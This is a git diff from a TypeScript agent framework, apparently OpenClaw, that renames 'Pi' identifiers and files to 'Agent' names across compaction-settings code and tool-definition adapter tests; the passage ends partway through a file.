-36,7 +36,7 @@ export type ResolvedAgentConfig = { groupChat?: AgentEntry["groupChat"]; subagents?: AgentEntry["subagents"]; runRetries?: AgentEntry["runRetries"]; - embeddedPi?: AgentEntry["embeddedPi"]; + embeddedAgent?: AgentEntry["embeddedAgent"]; sandbox?: AgentEntry["sandbox"]; tools?: AgentEntry["tools"]; }; @@ -149,8 +149,10 @@ export function resolveAgentConfig( typeof entry.runRetries === "object" && entry.runRetries ? { ...agentDefaults?.runRetries, ...entry.runRetries } : agentDefaults?.runRetries, - embeddedPi: - typeof entry.embeddedPi === "object" && entry.embeddedPi ? entry.embeddedPi : undefined, + embeddedAgent: + typeof entry.embeddedAgent === "object" && entry.embeddedAgent + ? entry.embeddedAgent + : undefined, sandbox: entry.sandbox, tools: entry.tools, }; diff --git a/src/agents/agent-scope.ts b/src/agents/agent-scope.ts index 386d17ba975..a2e6df5c350 100644 --- a/src/agents/agent-scope.ts +++ b/src/agents/agent-scope.ts @@ -306,12 +306,13 @@ export function resolveSessionAgentId(params: { export function resolveAgentExecutionContract( cfg: OpenClawConfig | undefined, agentId?: string | null, -): NonNullable["executionContract"]> | undefined { - const defaultContract = cfg?.agents?.defaults?.embeddedPi?.executionContract; +): NonNullable["executionContract"]> | undefined { + const defaultContract = cfg?.agents?.defaults?.embeddedAgent?.executionContract; if (!cfg || !agentId) { return defaultContract; } - const agentContract = resolveAgentConfig(cfg, agentId)?.embeddedPi?.executionContract; + const agentConfig = resolveAgentConfig(cfg, agentId); + const agentContract = agentConfig?.embeddedAgent?.executionContract; return agentContract ?? defaultContract; } diff --git a/src/agents/pi-settings.test.ts b/src/agents/agent-settings.test.ts similarity index 81% rename from src/agents/pi-settings.test.ts rename to src/agents/agent-settings.test.ts index bca472c9b14..09d52b363cc 100644 --- a/src/agents/pi-settings.test.ts +++ b/src/agents/agent-settings.test.ts @@ -1,16 +1,16 @@ import { describe, expect, it, vi } from "vitest"; -import { MIN_PROMPT_BUDGET_RATIO, MIN_PROMPT_BUDGET_TOKENS } from "./pi-compaction-constants.js"; +import { MIN_PROMPT_BUDGET_RATIO, MIN_PROMPT_BUDGET_TOKENS } from "./agent-compaction-constants.js"; import { - applyPiAutoCompactionGuard, - applyPiCompactionSettingsFromConfig, - DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR, + applyAgentAutoCompactionGuard, + applyAgentCompactionSettingsFromConfig, + DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR, isSilentOverflowProneModel, resolveEffectiveCompactionMode, resolveCompactionReserveTokensFloor, - shouldDisablePiAutoCompaction, -} from "./pi-settings.js"; + shouldDisableAgentAutoCompaction, +} from "./agent-settings.js"; -describe("applyPiCompactionSettingsFromConfig", () => { +describe("applyAgentCompactionSettingsFromConfig", () => { it("bumps reserveTokens when below floor", () => { const settingsManager = { getCompactionReserveTokens: () => 16_384, @@ -18,12 +18,12 @@ describe("applyPiCompactionSettingsFromConfig", () => { applyOverrides: vi.fn(), }; - const result = applyPiCompactionSettingsFromConfig({ settingsManager }); + const result = applyAgentCompactionSettingsFromConfig({ settingsManager }); expect(result.didOverride).toBe(true); - expect(result.compaction.reserveTokens).toBe(DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR); + expect(result.compaction.reserveTokens).toBe(DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR); expect(settingsManager.applyOverrides).toHaveBeenCalledWith({ - compaction: { reserveTokens: DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR }, + compaction: { reserveTokens: DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR }, }); }); @@ -31,7 +31,7 @@ describe("applyPiCompactionSettingsFromConfig", () => { const cfg = { agents: { defaults: { - compaction: { reserveTokensFloor: DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR }, + compaction: { reserveTokensFloor: DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR }, }, }, } as const; @@ -47,21 +47,21 @@ describe("applyPiCompactionSettingsFromConfig", () => { }), }; - const first = applyPiCompactionSettingsFromConfig({ + const first = applyAgentCompactionSettingsFromConfig({ settingsManager, cfg, contextTokenBudget: 100_000, }); - expect(first.compaction.reserveTokens).toBe(DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR); + expect(first.compaction.reserveTokens).toBe(DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR); reserve = 16_384; - const second = applyPiCompactionSettingsFromConfig({ + const second = applyAgentCompactionSettingsFromConfig({ settingsManager, cfg, contextTokenBudget: 100_000, }); - expect(second.compaction.reserveTokens).toBe(DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR); - expect(reserve).toBe(DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR); + expect(second.compaction.reserveTokens).toBe(DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR); + expect(reserve).toBe(DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR); }); it("does not override when already above floor and not in safeguard mode", () => { @@ -71,7 +71,7 @@ describe("applyPiCompactionSettingsFromConfig", () => { applyOverrides: vi.fn(), }; - const result = applyPiCompactionSettingsFromConfig({ + const result = applyAgentCompactionSettingsFromConfig({ settingsManager, cfg: { agents: { defaults: { compaction: { mode: "default" } } } }, }); @@ -88,7 +88,7 @@ describe("applyPiCompactionSettingsFromConfig", () => { applyOverrides: vi.fn(), }; - const result = applyPiCompactionSettingsFromConfig({ + const result = applyAgentCompactionSettingsFromConfig({ settingsManager, cfg: { agents: { @@ -112,7 +112,7 @@ describe("applyPiCompactionSettingsFromConfig", () => { applyOverrides: vi.fn(), }; - const result = applyPiCompactionSettingsFromConfig({ + const result = applyAgentCompactionSettingsFromConfig({ settingsManager, cfg: { agents: { @@ -138,7 +138,7 @@ describe("applyPiCompactionSettingsFromConfig", () => { applyOverrides: vi.fn(), }; - const result = applyPiCompactionSettingsFromConfig({ + const result = applyAgentCompactionSettingsFromConfig({ settingsManager, cfg: { agents: { defaults: { compaction: { mode: "safeguard" } } } }, }); @@ -154,7 +154,7 @@ describe("applyPiCompactionSettingsFromConfig", () => { applyOverrides: vi.fn(), }; - const result = applyPiCompactionSettingsFromConfig({ + const result = applyAgentCompactionSettingsFromConfig({ settingsManager, cfg: { agents: { defaults: { compaction: { mode: "safeguard", keepRecentTokens: 0 } } } }, }); @@ -164,7 +164,7 @@ describe("applyPiCompactionSettingsFromConfig", () => { }); it("caps floor to context window ratio for small-context models", () => { - // Pi SDK default reserveTokens is 16 384. With a 16 384 context window + // Embedded runner default reserveTokens is 16 384. With a 16 384 context window // the default floor (20 000) exceeds the window. The aligned cap // computes: minPromptBudget = min(8_000, floor(16_384 * 0.5)) = 8_000, // maxReserve = 16_384 - 8_000 = 8_384. Since current (16_384) > capped @@ -175,7 +175,7 @@ describe("applyPiCompactionSettingsFromConfig", () => { applyOverrides: vi.fn(), }; - const result = applyPiCompactionSettingsFromConfig({ + const result = applyAgentCompactionSettingsFromConfig({ settingsManager, contextTokenBudget: 16_384, }); @@ -184,7 +184,7 @@ describe("applyPiCompactionSettingsFromConfig", () => { // With the cap, it stays at 16_384 (the current value). expect(result.compaction.reserveTokens).toBe(16_384); expect(result.compaction.reserveTokens).toBeLessThan( - DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR, + DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR, ); expect(result.didOverride).toBe(false); expect(settingsManager.applyOverrides).not.toHaveBeenCalled(); @@ -200,7 +200,7 @@ describe("applyPiCompactionSettingsFromConfig", () => { // User sets reserveTokens=2048 but NOT reserveTokensFloor (default 20_000 applies). // Pre-fix: target = max(2048, 20_000) = 20_000 → exceeds 16_384 context → infinite loop. // Post-fix: floor capped to 8_384 → target = max(2048, 8_384) = 8_384 → works. - const result = applyPiCompactionSettingsFromConfig({ + const result = applyAgentCompactionSettingsFromConfig({ settingsManager, cfg: { agents: { @@ -220,7 +220,7 @@ describe("applyPiCompactionSettingsFromConfig", () => { }); it("applies capped floor when current reserve is below it on small-context models", () => { - // Simulate a Pi SDK default of 4 096 with a 16 384 context window. + // Simulate an embedded runner default of 4 096 with a 16 384 context window. // minPromptBudget = min(8_000, floor(16_384 * 0.5)) = 8_000. // maxReserve = 16_384 - 8_000 = 8_384. // Capped floor = min(20_000, 8_384) = 8_384. @@ -231,7 +231,7 @@ describe("applyPiCompactionSettingsFromConfig", () => { applyOverrides: vi.fn(), }; - const result = applyPiCompactionSettingsFromConfig({ + const result = applyAgentCompactionSettingsFromConfig({ settingsManager, contextTokenBudget: 16_384, }); @@ -258,7 +258,7 @@ describe("applyPiCompactionSettingsFromConfig", () => { // User explicitly sets reserveTokens=2048 and reserveTokensFloor=0. // With contextTokenBudget=16384, the capped floor = min(0, 8192) = 0. // targetReserveTokens = max(2048, 0) = 2048. - const result = applyPiCompactionSettingsFromConfig({ + const result = applyAgentCompactionSettingsFromConfig({ settingsManager, cfg: { agents: { @@ -286,14 +286,14 @@ describe("applyPiCompactionSettingsFromConfig", () => { // 32 768 context window → minPromptBudget = min(8_000, floor(32_768 * 0.5)) = 8_000. // maxReserve = 32_768 - 8_000 = 24_768. // Since 24_768 > 20_000 (DEFAULT_FLOOR), the floor is NOT capped and stays at 20_000. - const result = applyPiCompactionSettingsFromConfig({ + const result = applyAgentCompactionSettingsFromConfig({ settingsManager, contextTokenBudget: 32_768, }); - expect(result.compaction.reserveTokens).toBe(DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR); + expect(result.compaction.reserveTokens).toBe(DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR); expect(settingsManager.applyOverrides).toHaveBeenCalledWith({ - compaction: { reserveTokens: DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR }, + compaction: { reserveTokens: DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR }, }); }); @@ -306,14 +306,14 @@ describe("applyPiCompactionSettingsFromConfig", () => { // 200 000 context window → maxReserve = 200_000 - 8_000 = 192_000. // floor (20 000) is well within that cap. - const result = applyPiCompactionSettingsFromConfig({ + const result = applyAgentCompactionSettingsFromConfig({ settingsManager, contextTokenBudget: 200_000, }); - expect(result.compaction.reserveTokens).toBe(DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR); + expect(result.compaction.reserveTokens).toBe(DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR); expect(settingsManager.applyOverrides).toHaveBeenCalledWith({ - compaction: { reserveTokens: DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR }, + compaction: { reserveTokens: DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR }, }); }); @@ -325,15 +325,17 @@ describe("applyPiCompactionSettingsFromConfig", () => { }; // No contextTokenBudget → backward-compatible behavior, floor = 20 000. - const result = applyPiCompactionSettingsFromConfig({ settingsManager }); + const result = applyAgentCompactionSettingsFromConfig({ settingsManager }); - expect(result.compaction.reserveTokens).toBe(DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR); + expect(result.compaction.reserveTokens).toBe(DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR); }); }); describe("resolveCompactionReserveTokensFloor", () => { it("returns the default when config is missing", () => { - expect(resolveCompactionReserveTokensFloor()).toBe(DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR); + expect(resolveCompactionReserveTokensFloor()).toBe( + DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR, + ); }); it("accepts configured floors, including zero", () => { @@ -417,7 +419,7 @@ describe("isSilentOverflowProneModel", () => { // family name so direct gateway deployments hit the guard regardless of // what `provider` field the user picked — gateways relabel the upstream // identity, so `provider` here can be anything from `openai` to a custom - // string. False positives only disable Pi's secondary compaction path; + // string. False positives only disable OpenClaw runtime's secondary compaction path; // OpenClaw's preemptive compaction continues to handle real overflow. it("flags bare glm- model ids without a namespace prefix, regardless of provider", () => { expect(isSilentOverflowProneModel({ provider: "custom", modelId: "glm-5.1" })).toBe(true); @@ -429,7 +431,7 @@ describe("isSilentOverflowProneModel", () => { // Detection is intentionally narrow to z.ai-style accounting. Namespaced GLM // ids that route through providers with their own overflow accounting must // NOT be flagged — those hosts may not exhibit the z.ai silent-overflow - // shape, and disabling Pi auto-compaction for them would over-broaden the + // shape, and disabling embedded auto-compaction for them would over-broaden the // kill surface beyond the reproducible repro. it("does not flag namespaced GLM ids routed through non-z.ai hosts", () => { expect( @@ -440,7 +442,7 @@ describe("isSilentOverflowProneModel", () => { ).toBe(false); }); - // pi-ai's overflow.ts only documents z.ai as the silent-overflow style. We + // shared model runtime's overflow.ts only documents z.ai as the silent-overflow style. We // intentionally do NOT extend the guard to anthropic/openai/google/openrouter- // anthropic routes — adding them without a reproducible repro would broaden // the kill surface and regress baseline behavior for those providers. @@ -468,12 +470,12 @@ describe("isSilentOverflowProneModel", () => { }); }); -describe("shouldDisablePiAutoCompaction", () => { +describe("shouldDisableAgentAutoCompaction", () => { it("returns false with no owner, default mode, and ordinary provider behavior", () => { - expect(shouldDisablePiAutoCompaction({})).toBe(false); - expect(shouldDisablePiAutoCompaction({ compactionMode: "default" })).toBe(false); + expect(shouldDisableAgentAutoCompaction({})).toBe(false); + expect(shouldDisableAgentAutoCompaction({ compactionMode: "default" })).toBe(false); expect( - shouldDisablePiAutoCompaction({ + shouldDisableAgentAutoCompaction({ contextEngineInfo: { id: "legacy", name: "Legacy", ownsCompaction: false }, compactionMode: "default", silentOverflowProneProvider: false, @@ -483,30 +485,30 @@ describe("shouldDisablePiAutoCompaction", () => { it("returns true when a context engine owns compaction", () => { expect( - shouldDisablePiAutoCompaction({ + shouldDisableAgentAutoCompaction({ contextEngineInfo: { id: "third-party", name: "Third-party", ownsCompaction: true }, }), ).toBe(true); }); it("returns true when effective compaction mode is safeguard", () => { - expect(shouldDisablePiAutoCompaction({ compactionMode: "safeguard" })).toBe(true); + expect(shouldDisableAgentAutoCompaction({ compactionMode: "safeguard" })).toBe(true); }); it("returns true for silent-overflow-prone providers", () => { - expect(shouldDisablePiAutoCompaction({ silentOverflowProneProvider: true })).toBe(true); + expect(shouldDisableAgentAutoCompaction({ silentOverflowProneProvider: true })).toBe(true); }); }); -describe("applyPiAutoCompactionGuard", () => { - // Direct repro of openclaw#75799: pi-ai's silent-overflow detection misfires - // on a successful turn against z.ai-style providers, triggering Pi's +describe("applyAgentAutoCompactionGuard", () => { + // Direct repro of openclaw#75799: shared model runtime's silent-overflow detection misfires + // on a successful turn against z.ai-style providers, triggering OpenClaw runtime's // _runAutoCompaction from inside Session.prompt() and reassigning // agent.state.messages between the runner's prompt.submitted trajectory - // event and the provider request. Disabling Pi auto-compaction here keeps + // event and the provider request. Disabling embedded auto-compaction here keeps // state.messages intact; OpenClaw's preemptive compaction continues to // handle real overflow on its own path. - it("disables Pi auto-compaction for silent-overflow-prone providers", () => { + it("disables embedded auto-compaction for silent-overflow-prone providers", () => { const setCompactionEnabled = vi.fn(); const settingsManager = { getCompactionReserveTokens: () => 20_000, @@ -515,7 +517,7 @@ describe("applyPiAutoCompactionGuard", () => { setCompactionEnabled, }; - const result = applyPiAutoCompactionGuard({ + const result = applyAgentAutoCompactionGuard({ settingsManager, silentOverflowProneProvider: true, }); @@ -524,7 +526,7 @@ describe("applyPiAutoCompactionGuard", () => { expect(setCompactionEnabled).toHaveBeenCalledWith(false); }); - it("disables Pi auto-compaction when a context engine plugin owns compaction", () => { + it("disables embedded auto-compaction when a context engine plugin owns compaction", () => { const setCompactionEnabled = vi.fn(); const settingsManager = { getCompactionReserveTokens: () => 20_000, @@ -533,7 +535,7 @@ describe("applyPiAutoCompactionGuard", () => { setCompactionEnabled, }; - const result = applyPiAutoCompactionGuard({ + const result = applyAgentAutoCompactionGuard({ settingsManager, contextEngineInfo: { id: "third-party", @@ -547,7 +549,7 @@ describe("applyPiAutoCompactionGuard", () => { expect(setCompactionEnabled).toHaveBeenCalledWith(false); }); - it("disables Pi auto-compaction when provider config forces safeguard mode", () => { + it("disables embedded auto-compaction when provider config forces safeguard mode", () => { const setCompactionEnabled = vi.fn(); const settingsManager = { getCompactionReserveTokens: () => 20_000, @@ -556,7 +558,7 @@ describe("applyPiAutoCompactionGuard", () => { setCompactionEnabled, }; - const result = applyPiAutoCompactionGuard({ + const result = applyAgentAutoCompactionGuard({ settingsManager, compactionMode: resolveEffectiveCompactionMode({ agents: { defaults: { compaction: { provider: "deepseek" } } }, @@ -567,11 +569,11 @@ describe("applyPiAutoCompactionGuard", () => { expect(setCompactionEnabled).toHaveBeenCalledWith(false); }); - // Default-mode runs against ordinary providers must keep Pi's auto-compaction - // enabled. Disabling it across the board would silently remove Pi's + // Default-mode runs against ordinary providers must keep OpenClaw runtime's auto-compaction + // enabled. Disabling it across the board would silently remove OpenClaw runtime's // overflow-recovery path inside Session.prompt() for users who are not // affected by z.ai's silent-overflow accounting. - it("leaves Pi auto-compaction alone for non-z.ai providers without engine ownership", () => { + it("leaves embedded auto-compaction alone for non-z.ai providers without engine ownership", () => { const setCompactionEnabled = vi.fn(); const settingsManager = { getCompactionReserveTokens: () => 20_000, @@ -580,7 +582,7 @@ describe("applyPiAutoCompactionGuard", () => { setCompactionEnabled, }; - const result = applyPiAutoCompactionGuard({ + const result = applyAgentAutoCompactionGuard({ settingsManager, contextEngineInfo: { id: "legacy", @@ -601,7 +603,7 @@ describe("applyPiAutoCompactionGuard", () => { applyOverrides: () => {}, }; - const result = applyPiAutoCompactionGuard({ + const result = applyAgentAutoCompactionGuard({ settingsManager, silentOverflowProneProvider: true, }); diff --git a/src/agents/pi-settings.ts b/src/agents/agent-settings.ts similarity index 86% rename from src/agents/pi-settings.ts rename to src/agents/agent-settings.ts index 8beb54d94b0..07a304e3403 100644 --- a/src/agents/pi-settings.ts +++ b/src/agents/agent-settings.ts @@ -1,13 +1,13 @@ import type { AgentCompactionMode } from "../config/types.agent-defaults.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { ContextEngineInfo } from "../context-engine/types.js"; -import { MIN_PROMPT_BUDGET_RATIO, MIN_PROMPT_BUDGET_TOKENS } from "./pi-compaction-constants.js"; +import { MIN_PROMPT_BUDGET_RATIO, MIN_PROMPT_BUDGET_TOKENS } from "./agent-compaction-constants.js"; import { resolveProviderEndpoint } from "./provider-attribution.js"; import { normalizeProviderId } from "./provider-id.js"; -export const DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR = 20_000; +export const DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR = 20_000; -type PiSettingsManagerLike = { +type AgentSettingsManagerLike = { getCompactionReserveTokens: () => number; getCompactionKeepRecentTokens: () => number; applyOverrides: (overrides: { @@ -25,11 +25,11 @@ type PiSettingsManagerLike = { * If called for small-context models without threading `contextTokenBudget`, * it may re-introduce context overflow issues. */ -export function ensurePiCompactionReserveTokens(params: { - settingsManager: PiSettingsManagerLike; +export function ensureAgentCompactionReserveTokens(params: { + settingsManager: AgentSettingsManagerLike; minReserveTokens?: number; }): { didOverride: boolean; reserveTokens: number } { - const minReserveTokens = params.minReserveTokens ?? DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR; + const minReserveTokens = params.minReserveTokens ?? DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR; const current = params.settingsManager.getCompactionReserveTokens(); if (current >= minReserveTokens) { @@ -48,7 +48,7 @@ export function resolveCompactionReserveTokensFloor(cfg?: OpenClawConfig): numbe if (typeof raw === "number" && Number.isFinite(raw) && raw >= 0) { return Math.floor(raw); } - return DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR; + return DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR; } function toNonNegativeInt(value: unknown): number | undefined { @@ -65,8 +65,8 @@ function toPositiveInt(value: unknown): number | undefined { return Math.floor(value); } -export function applyPiCompactionSettingsFromConfig(params: { - settingsManager: PiSettingsManagerLike; +export function applyAgentCompactionSettingsFromConfig(params: { + settingsManager: AgentSettingsManagerLike; cfg?: OpenClawConfig; /** When known, the resolved context window budget for the current model. */ contextTokenBudget?: number; @@ -135,8 +135,8 @@ export function resolveEffectiveCompactionMode(cfg?: OpenClawConfig): AgentCompa } /** - * Detect providers whose pi-ai `isContextOverflow` Case 2 (silent overflow) - * fires on a successful turn and triggers Pi's `_runAutoCompaction` from + * Detect providers whose shared model runtime `isContextOverflow` Case 2 (silent overflow) + * fires on a successful turn and triggers OpenClaw runtime's `_runAutoCompaction` from * inside `Session.prompt()`, collapsing `agent.state.messages` before the * provider call (openclaw#75799). * @@ -178,15 +178,15 @@ export function isSilentOverflowProneModel(model: { } /** - * Disable Pi's `_checkCompaction → _runAutoCompaction` (which would otherwise + * Disable OpenClaw runtime's `_checkCompaction → _runAutoCompaction` (which would otherwise * fire from inside `Session.prompt()` and reassign `agent.state.messages` * before the provider call) when OpenClaw or a plugin owns compaction: * `contextEngineInfo.ownsCompaction === true`, effective safeguard compaction, * or an active model that is silent-overflow-prone (openclaw#75799). - * Default-mode runs against ordinary providers keep Pi's auto-compaction as + * Default-mode runs against ordinary providers keep OpenClaw runtime's auto-compaction as * the existing baseline. */ -export function shouldDisablePiAutoCompaction(params: { +export function shouldDisableAgentAutoCompaction(params: { contextEngineInfo?: ContextEngineInfo; compactionMode?: AgentCompactionMode; silentOverflowProneProvider?: boolean; @@ -201,17 +201,17 @@ export function shouldDisablePiAutoCompaction(params: { /** * Apply the auto-compaction guard. Callers that reload a `DefaultResourceLoader` * MUST call this AGAIN after each `reload()` — `settingsManager.reload()` - * rehydrates `compaction.enabled` from disk and silently restores Pi's + * rehydrates `compaction.enabled` from disk and silently restores OpenClaw runtime's * default-on behavior, undoing the guard. Mirrors the existing - * `applyPiCompactionSettingsFromConfig` re-call pattern at the same sites. + * `applyAgentCompactionSettingsFromConfig` re-call pattern at the same sites. */ -export function applyPiAutoCompactionGuard(params: { - settingsManager: PiSettingsManagerLike; +export function applyAgentAutoCompactionGuard(params: { + settingsManager: AgentSettingsManagerLike; contextEngineInfo?: ContextEngineInfo; compactionMode?: AgentCompactionMode; silentOverflowProneProvider?: boolean; }): { supported: boolean; disabled: boolean } { - const disable = shouldDisablePiAutoCompaction({ + const disable = shouldDisableAgentAutoCompaction({ contextEngineInfo: params.contextEngineInfo, compactionMode: params.compactionMode, silentOverflowProneProvider: params.silentOverflowProneProvider, diff --git a/src/agents/pi-tool-definition-adapter.after-tool-call.fires-once.test.ts b/src/agents/agent-tool-definition-adapter.after-tool-call.fires-once.test.ts similarity index 93% rename from src/agents/pi-tool-definition-adapter.after-tool-call.fires-once.test.ts rename to src/agents/agent-tool-definition-adapter.after-tool-call.fires-once.test.ts index 801ceea879a..36140d2bcc8 100644 --- a/src/agents/pi-tool-definition-adapter.after-tool-call.fires-once.test.ts +++ b/src/agents/agent-tool-definition-adapter.after-tool-call.fires-once.test.ts @@ -6,10 +6,10 @@ * Regression guard for the double-fire bug fixed by removing the adapter-side * after_tool_call invocation (see PR #27283 → dedup in this fix). */ -import type { AgentTool } from "@earendil-works/pi-agent-core"; +import type { AgentTool } from "openclaw/plugin-sdk/agent-core"; import { Type } from "typebox"; import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; -import { createBaseToolHandlerState } from "./pi-tool-handler-state.test-helpers.js"; +import { createBaseToolHandlerState } from "./agent-tool-handler-state.test-helpers.js"; const hookMocks = vi.hoisted(() => ({ runner: { @@ -84,9 +84,9 @@ function createToolHandlerCtx() { }; } -let toToolDefinitions: typeof import("./pi-tool-definition-adapter.js").toToolDefinitions; -let handleToolExecutionStart: typeof import("./pi-embedded-subscribe.handlers.tools.js").handleToolExecutionStart; -let handleToolExecutionEnd: typeof import("./pi-embedded-subscribe.handlers.tools.js").handleToolExecutionEnd; +let toToolDefinitions: typeof import("./agent-tool-definition-adapter.js").toToolDefinitions; +let handleToolExecutionStart: typeof import("./embedded-agent-subscribe.handlers.tools.js").handleToolExecutionStart; +let handleToolExecutionEnd: typeof import("./embedded-agent-subscribe.handlers.tools.js").handleToolExecutionEnd; async function loadFreshAfterToolCallModulesForTest() { vi.doMock("../plugins/hook-runner-global.js", () => ({ @@ -97,7 +97,7 @@ async function loadFreshAfterToolCallModulesForTest() { emitAgentEvent: vi.fn(), emitAgentItemEvent: vi.fn(), })); - vi.doMock("./pi-tools.before-tool-call.js", () => ({ + vi.doMock("./agent-tools.before-tool-call.js", () => ({ BeforeToolCallBlockedError: beforeToolCallMocks.BeforeToolCallBlockedError, buildBlockedToolResult: ({ reason }: { reason: string }) => ({ content: [{ type: "text", text: reason }], @@ -110,9 +110,9 @@ async function loadFreshAfterToolCallModulesForTest() { isToolWrappedWithBeforeToolCallHook: beforeToolCallMocks.isToolWrappedWithBeforeToolCallHook, runBeforeToolCallHook: beforeToolCallMocks.runBeforeToolCallHook, })); - ({ toToolDefinitions } = await import("./pi-tool-definition-adapter.js")); + ({ toToolDefinitions } = await import("./agent-tool-definition-adapter.js")); ({ handleToolExecutionStart, handleToolExecutionEnd } = - await import("./pi-embedded-subscribe.handlers.tools.js")); + await import("./embedded-agent-subscribe.handlers.tools.js")); } describe("after_tool_call fires exactly once in embedded runs", () => { diff --git a/src/agents/pi-tool-definition-adapter.after-tool-call.test.ts b/src/agents/agent-tool-definition-adapter.after-tool-call.test.ts similarity index 94% rename from src/agents/pi-tool-definition-adapter.after-tool-call.test.ts rename to src/agents/agent-tool-definition-adapter.after-tool-call.test.ts index 4f4a0a59aca..2d5c9db1615 100644 --- a/src/agents/pi-tool-definition-adapter.after-tool-call.test.ts +++ b/src/agents/agent-tool-definition-adapter.after-tool-call.test.ts @@ -1,7 +1,7 @@ -import type { AgentTool } from "@earendil-works/pi-agent-core"; +import type { AgentTool } from "openclaw/plugin-sdk/agent-core"; import { Type } from "typebox"; import { beforeEach, describe, expect, it, vi } from "vitest"; -import { toToolDefinitions } from "./pi-tool-definition-adapter.js"; +import { toToolDefinitions } from "./agent-tool-definition-adapter.js"; const hookMocks = vi.hoisted(() => ({ runner: { @@ -30,7 +30,7 @@ vi.mock("../plugins/hook-runner-global.js", () => ({ getGlobalHookRunner: () => hookMocks.runner, })); -vi.mock("./pi-tools.before-tool-call.js", () => ({ +vi.mock("./agent-tools.before-tool-call.js", () => ({ BeforeToolCallBlockedError: hookMocks.BeforeToolCallBlockedError, buildBlockedToolResult: ({ reason }: { reason: string }) => ({ content: [{ type: "text", text: reason }], @@ -57,7 +57,7 @@ function createReadTool() { type ToolExecute = ReturnType[number]["execute"]; const extensionContext = {} as Parameters[4]; -describe("pi tool definition adapter after_tool_call", () => { +describe("agent tool definition adapter after_tool_call", () => { beforeEach(() => { hookMocks.runner.hasHooks.mockClear(); hookMocks.runner.runAfterToolCall.mockClear(); diff --git a/src/agents/pi-tool-definition-adapter.logging.test.ts b/src/agents/agent-tool-definition-adapter.logging.test.ts similarity index 93% rename from src/agents/pi-tool-definition-adapter.logging.test.ts rename to src/agents/agent-tool-definition-adapter.logging.test.ts index 9c2c935b1dc..646865942ef 100644 --- a/src/agents/pi-tool-definition-adapter.logging.test.ts +++ b/src/agents/agent-tool-definition-adapter.logging.test.ts @@ -1,4 +1,4 @@ -import type { AgentTool } from "@earendil-works/pi-agent-core"; +import type { AgentTool } from "openclaw/plugin-sdk/agent-core"; import { Type } from "typebox"; import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; @@ -12,14 +12,14 @@ vi.mock("../logger.js", () => ({ logError: mocks.logError, })); -let toToolDefinitions: typeof import("./pi-tool-definition-adapter.js").toToolDefinitions; -let BeforeToolCallBlockedError: typeof import("./pi-tools.before-tool-call.js").BeforeToolCallBlockedError; -let wrapToolParamValidation: typeof import("./pi-tools.params.js").wrapToolParamValidation; -let REQUIRED_PARAM_GROUPS: typeof import("./pi-tools.params.js").REQUIRED_PARAM_GROUPS; +let toToolDefinitions: typeof import("./agent-tool-definition-adapter.js").toToolDefinitions; +let BeforeToolCallBlockedError: typeof import("./agent-tools.before-tool-call.js").BeforeToolCallBlockedError; +let wrapToolParamValidation: typeof import("./agent-tools.params.js").wrapToolParamValidation; +let REQUIRED_PARAM_GROUPS: typeof import("./agent-tools.params.js").REQUIRED_PARAM_GROUPS; let logError: typeof import("../logger.js").logError; type ToolExecute = ReturnType< - typeof import("./pi-tool-definition-adapter.js").toToolDefinitions + typeof import("./agent-tool-definition-adapter.js").toToolDefinitions >[number]["execute"]; const extensionContext = {} as Parameters[4]; @@ -27,11 +27,11 @@ function firstLogErrorMessage(): unknown { return vi.mocked(logError).mock.calls[0]?.[0]; } -describe("pi tool definition adapter logging", () => { +describe("agent tool definition adapter logging", () => { beforeAll(async () => { - ({ toToolDefinitions } = await import("./pi-tool-definition-adapter.js")); - ({ BeforeToolCallBlockedError } = await import("./pi-tools.before-tool-call.js")); - ({ wrapToolParamValidation, REQUIRED_PARAM_GROUPS } = await import("./pi-tools.params.js")); + ({ toToolDefinitions } = await import("./agent-tool-definition-adapter.js")); + ({ BeforeToolCallBlockedError } = await import("./agent-tools.before-tool-call.js")); + ({ wrapToolParamValidation, REQUIRED_PARAM_GROUPS } = await import("./agent-tools.params.js")); ({ logError } = await import("../logger.js")); }); diff --git a/src/agents/pi-tool-definition-adapter.test.ts b/src/agents/agent-tool-definition-adapter.test.ts similarity index 96% rename from src/agents/pi-tool-definition-adapter.test.ts rename to src/agents/agent-tool-definition-adapter.test.ts index 036dc86aa36..21b3829e544 100644 --- a/src/agents/pi-tool-definition-adapter.test.ts +++ b/src/agents/agent-tool-definition-adapter.test.ts @@ -1,7 +1,6 @@ -import type { AgentTool } from 